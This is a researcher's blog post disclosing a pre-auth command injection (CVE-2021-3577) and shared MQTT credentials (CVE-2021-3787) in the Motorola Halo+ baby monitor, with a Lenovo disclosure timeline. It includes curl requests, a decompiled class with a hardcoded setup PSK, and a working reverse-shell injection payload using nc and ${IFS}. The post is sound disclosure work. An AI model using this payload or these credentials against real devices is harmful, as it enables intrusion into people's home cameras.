When my wife and I were expecting our first child, a good baby monitor was one of the top items on our shopping list. Most of the available options of course now include Wi-Fi, a mobile app, and cloud integration. When we decided on the Motorola Halo+, I knew it deserved a closer look before connecting it to our Wi-Fi — until then, I left if disconnected from the network and we used the handheld monitor.
We held out for about a year, until the additional “connected” functionality was attractive enough to finally enter our Wi-Fi password. I started digging deeper into the device and, within a few hours, I identified pre-auth RCE and had a full root shell shortly thereafter.
Initial Research
After connecting the camera to Wi-Fi, I started with the basics by trying to identify any listening services with a cursory nmap
scan.
These ports gave me a good start for where to look for potential API communication. I visited each in a browser, expecting one of them might serve up a web interface. Interestingly, all three were indeed web servers, though each responded a little differently:
:8080
– A 404 Not Found page:9090
– A response body displaying “Unsupported command”:80
– Empty
I couldn’t get the last port to respond at all — a quick cURL request explained that:
user@ubuntu:~$ curl http://192.168.5.244 -v * Rebuilt URL to: http://192.168.5.244/ * Trying 192.168.5.244... * Connected to 192.168.5.244 (192.168.5.244) port 80 (#0) > GET / HTTP/1.1 > Host: 192.168.5.244 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 204 No content < Content-Length: 0 < Content-Type: text/plain < Connection: Keep-Alive < * Connection #0 to host 192.168.5.244 left intact
“Unsupported command” obviously stuck out to me as a path to pursue further. I started trying requests with various parameters without any luck. I could have probably run some tools to brute force valid parameters at this point, but I had a suspicion there was a better path.
Android App
Next, I decided to install the Android app and begin reverse engineering in hopes of learning how it communicates with the device. The baby monitor can be fully managed through Hubble Connected for Motorola Monitors — here’s what it looks like after setup:
Beyond just the camera feed, there are quite a few data points the device collects and displays in the app. Here you can see it displaying the room temperature, as well as the status of the other monitor features like the night light and light show projector.
My next step would usually be to proxy the API requests in the app. After a quick glance at the app’s verbose logcat
output, I realized that wouldn’t be necessary.
As you can see above, the API requests are easy enough to digest from the logs alone. I noticed many requests like this that interacted with the Hubble cloud service, but I was more interested in whether the app hit the device directly over the LAN.
Next, I grepped the logs for any HTTP communication and began using more features of the app. After altering some of the device settings in-app, I finally identified some requests being made to the local API:
This is exactly what I was looking for. Let’s try an example:
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_wifi_strength" -v * Trying 192.168.5.244... * Connected to 192.168.5.244 (192.168.5.244) port 80 (#0) > GET /?action=command&command=get_wifi_strength HTTP/1.1 > Host: 192.168.5.244 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length: 21 < Content-Type: text/plain < Connection: Keep-Alive < * Connection #0 to host 192.168.5.244 left intact get_wifi_strength: 75
Nothing fancy here — a plain old HTTP request returning a colon-delimited response.
Additional Commands
Armed with a few examples of local API requests, I decompiled the Android app and started searching for references to them — the goal being to find a larger list of commands used within the codebase. There were some interesting one-off findings sprinkled throughout, but I chose to focus on one particular class that defined a lists of config constants. This included possible GET and SET commands, as well as the setup Wi-Fi’s PSK.
/* * Decompiled with CFR 0_121. */ package com.hubble.framework.common; public class ConfigConstants { public static final String AUTH_KEY_IS_NULL = "auth_key_is_null"; public static final String CAM_FOCUS_1_SSID = "\"CameraHD-006611d724\""; public static final String CAM_FOCUS_1_SSID_NAME = "CameraHD-006611d724"; public static final String CAM_FOCUS_SSID = "\"CameraHD-00661214b0\""; public static final String GLOBAL_PORT = ":80"; public static final String MQTT_P2P_ENABLE = "mqtt_p2p_enable"; public static final String TRANSFER_PROTOCOL = "http://"; public class Camera { public static final String ACCESS_TOKEN_COMMAND = "action=command&command=set_server_auth&value="; public static final String AP_INFO_COMMAND = "action=command&command=setup_wireless_save&setup="; public static final String GET_MAC_COMMAND = "action=command&command=get_mac_address"; public static final String GET_UDID_COMMAND = "action=command&command=get_udid"; public static final String GET_VERSION = "action=command&command=get_version"; public static final String HTTP_URI_SEPARATOR = "/?"; public static final String PREFS_CAMERA_CREDENTIAL_STATUS = "camera_credential"; public static final String PREFS_CAMERA_HTTP_NAME = "camera_http_name"; public static final String PREFS_CAMERA_HTTP_PASSWORD = "camera_http_pwd"; public static final String RESTART_DEVICE_COMMAND = "action=command&command=restart_system"; public static final String SETUP_FW_VERSION = "00.00.00"; public static final String SETUP_PSK_IDENTITY = "forekbsh93vlf8j08tt53qaghb"; public static final String SETUP_PSK_PASSWORD = "D9D9790A65CEF2B23B73CCA9DC18C888"; public static final String SETUP_TLS_DEFAULT_PORT = "4434"; public static final String SET_BOOTSTRAP_COMMAND = "set_bootstrap_info"; public static final String SET_BOOTSTRAP_URL = "action=command&command=set_bootstrap_info%s"; public static final String SET_CITY_TIMEZONE = "set_city_timezone"; public static final String SET_CITY_TIME_ZONE = "action=command&command=set_city_timezone&value=%s"; public static final String SET_DATE_TIME = "action=command&command=set_date_time&value=%s"; public static final String SET_DATE_TIME_COMMAND = "set_date_time"; public static final String WIFI_CONNECTION_STATE_COMMAND = "action=command&command=get_wifi_connection_state"; public static final String WIFI_LIST_COMMAND = "action=command&command=get_rt_list"; } }
I started manually trying the commands listed in the class above. Here’s get_rt_list
:
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_rt_list" -v * Trying 192.168.5.244... * Connected to 192.168.5.244 (192.168.5.244) port 80 (#0) > GET /?action=command&command=get_rt_list HTTP/1.1 > Host: 192.168.5.244 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length: 1096 < Content-Type: text/xml < <?xml version="1.0" encoding="UTF-8"?> <wl v="2.0"> <n>8</n> <w> <s><![CDATA["HP-Print-72-Officejet Pro 8630"]]></s> <b>***REMOVED***</b> <a>WPA2</a> <q>72</q> <si>-88</si> <nl>0</nl> <ch>1</ch> </w> <!-- SNIPPED --> </wl> * Connection #0 to host 192.168.5.244 left intact
The above command returned a list of Wi-Fi networks available from the camera. Since most of the listed commands seemed to work against my device, I knew I was in the right place and shifted focus to the SET commands. The “value” parameters were of particular interest since these would accept user-controlled inputs, potentially leading to RCE if not properly sanitized.
Remote Code Execution
When I ultimately performed the set_city_timezone
with a reboot shell injection payload, the device immediately restarted. See this in action below while running a loop on /?action=command&command=get_version
in another terminal.
As you can see, the device stops responding after making the reboot request. After a little work on building a reverse shell PoC, I ended up with this:
http://192.168.5.244/?action=command&command=set_city_timezone&value=$(nc${IFS}192.168.5.202${IFS}5555${IFS}-e${IFS}/bin/sh)
Note the use of the ${IFS}
shell variable for spaces, as the webserver would process the encoded value of %20.
Here’s a look at the (root) shell in action:
Additional Research
With shell access to the device, I was now able to dig much deeper and examine other possible attack vectors that would have been otherwise difficult to blackbox. While there is too much detail to cover in this blog post, I wanted to touch on the most critical issue I discovered.
MQTT
As I discussed above, much of the cloud integration is implemented through the Hubble API. One component of the integration is built on MQTT — as in a number of IoT device architectures, this serves to handle event based publish/subscribe interactions between the device, Mobile App clients, and the Hubble infrastructure.
The mobile app, for example, seems to interact with MQTT via an API layer within the Hubble API — see the below command, apparently asking the device to update its temperature value:
{ "status": 202, "message": "success", "data": { "id": "15f42d3d-7bcf-4fbd-8781-0bb3034f0fd2", "created_at": "2021-05-12T17:44:08Z", "updated_at": "2021-05-12T17:44:08Z", "job_type": "publish_command", "status": 202, "state": "SUCCESSFUL", "input": { "packet_header_pojo": "{\"command\":\"VALUE_TEMPERATURE\"}", "device_id": "50b0f163-51be-4ef5-ad55-f031d98f99b7" }, "output": { "reason": "mqtt published", "PublishResponse": "mqtt published", "DeviceResponseMessage": null, "DeviceResponseStatus": null, "PublishStatus": 202 }, "priority": "high", "last_executed_time": "2021-05-12T17:44:08Z", "execution_count": 1 } }
In order to better understand how the MQTT implementation worked, I wanted to connect a client to observe the messages in transit. After looking through some logs on the device, I found the MQTT server’s hostname, along with all the TLS certs and key to connect:
pwd /mnt/config/hubble_config ls -hal drwxr-x--- 2 root root 720 May 30 14:55 . drwxr-xr-x 4 root root 1.0K Dec 31 1969 .. -rw-r--r-- 1 root root 286 May 30 13:55 bootup_info -rw-r--r-- 1 root root 1.4K Dec 9 13:52 ca.crt -rw-r--r-- 1 root root 1.1K Dec 9 13:52 client.crt -rw-r--r-- 1 root root 1.6K Dec 9 13:52 client.key -rw-r----- 1 root root 0 Apr 1 23:37 dummy -rw-r----- 1 root root 0 Apr 1 23:37 smartconfig -rw-r--r-- 1 root root 5.2K May 30 14:55 user.conf -rw-r--r-- 1 root root 3.7K May 30 13:55 user1.conf
I opened up MQTT Explorer and configured the connection with the certs from the device. I connected successfully and immediately started seeing messages from an increasing amount of other devices in the Hubble fleet. I realized shortly after connecting that the client was configured to subscribe to # and $SYS/# by default. It seemed pretty obvious that this meant either credentials were shared amongst all Hubble devices, or access control between devices was not enforced within MQTT.
If you look closely, you can see a number of command results from various devices. Though I did not attempt this, I think it was very likely that a client could easily control the entire device fleet by publishing arbitrary commands.
Disclosure
Contacting the vendor to disclose these vulnerabilities raised its own set of challenges — for one, I first had to learn a bit about Motorola’s corporate history and current structure. The Wikipedia article puts it well:
Motorola, Inc. was an American multinational telecommunications company. After having lost $4.3 billion from 2007 to 2009, the company was divided into two independent public companies, Motorola Mobility and Motorola Solutions on January 4, 2011. Motorola Solutions is generally considered to be the direct successor to Motorola, Inc., as the reorganization was structured with Motorola Mobility being spun off. Motorola Mobility was acquired by Lenovo in 2014.
After initially contacting apparently the wrong Motorola, and striking out in finding any contact with Motorola Mobility, I finally reached the right security folks at Lenovo. They were very responsive, provided detailed updates along the way, and were thorough in their testing/validation of the fixes. Here’s the timeline:
2021-04-09 | Initial report to Lenovo PSIRT |
2021-04-12 | Received response requesting the affected firmware version |
2021-04-15 | I follow up on confirming the report |
2021-04-16 | Lenovo’s team confirmed the issues, working on a fix (estimated late May). Disclosure scheduled 2021-06-08 |
2021-06-01 | I follow up to confirm patches were released |
2021-06-02 | Fix is still being validated internally. Disclosure moved to 2021-07-13 to ensure customers have fixes available |
2021-06-23 | Initial fixes found to be incomplete. “We have opened additional requirements to our licensee for this product to resolve this issue, which has added some complexity” |
2021-07-09 | Receive update, still some final items to resolve |
2021-08-07 | I follow up on progress |
2021-08-10 | Reply: Last fixes should be delivered next week |
2021-08-11 | I reply asking for details on each vulnerability. Have either been fixed? Still working on one or both? |
2021-08-11 | Received reply informing me the RCE was fixed in 03.50.06. The MQTT issue has taken additional time. ETA a few more days. 2021-09-14 disclosure date set |
2021-09-09 | Still on track to disclose both issues. MQTT fixed in 03.50.14 |
2021-09-14 | Public disclosure |
CVEs
- CVE-2021-3577: RCE
- CVE-2021-3787: MQTT credentials
Share this: